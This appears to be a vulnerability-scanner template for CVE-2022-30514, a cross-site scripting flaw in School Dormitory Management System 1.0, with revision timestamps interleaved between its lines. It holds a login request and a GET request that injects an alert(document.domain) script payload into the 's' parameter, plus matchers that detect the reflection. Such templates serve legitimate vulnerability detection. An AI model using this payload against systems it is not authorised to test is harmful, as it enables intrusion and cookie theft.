2022-10-05 20:01:11 +00:00
id : CVE-2022-30514
info :
2022-10-19 21:11:27 +00:00
name : School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting
2022-10-05 20:01:11 +00:00
author : tess
severity : medium
description : |
2022-10-19 21:11:27 +00:00
School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-10-05 20:01:11 +00:00
reference :
- https://github.com/bigzooooz/CVE-2022-30514
- https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30514
2022-10-19 21:11:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-30514
2022-10-05 20:01:11 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-30514
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:school_dormitory_management_system_project:school_dormitory_management_system:*:*:*:*:*:*:*:*
epss-score : 0.0007
2022-10-05 20:01:11 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2022-10-05 20:01:11 +00:00
verified : true
tags : cve,cve2022,xss,authenticated
2022-10-05 20:32:46 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-05 20:01:11 +00:00
- raw :
- |
POST /dms/admin/login.php?f=login HTTP/1.1
Host : {{Hostname}}
username={{username}}&password={{password}}
- |
GET /dms/admin/?s=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1
Host : {{Hostname}}
req-condition : true
redirects : true
max-redirects : 2
cookie-reuse : true
matchers-condition : and
matchers :
2022-10-05 20:32:46 +00:00
- type : word
part : body_2
words :
- "''; alert(document.domain); s='';"
- "School Dormitory Management System"
2022-10-05 20:01:11 +00:00
condition : and
2022-10-05 20:32:46 +00:00
- type : status
status :
- 200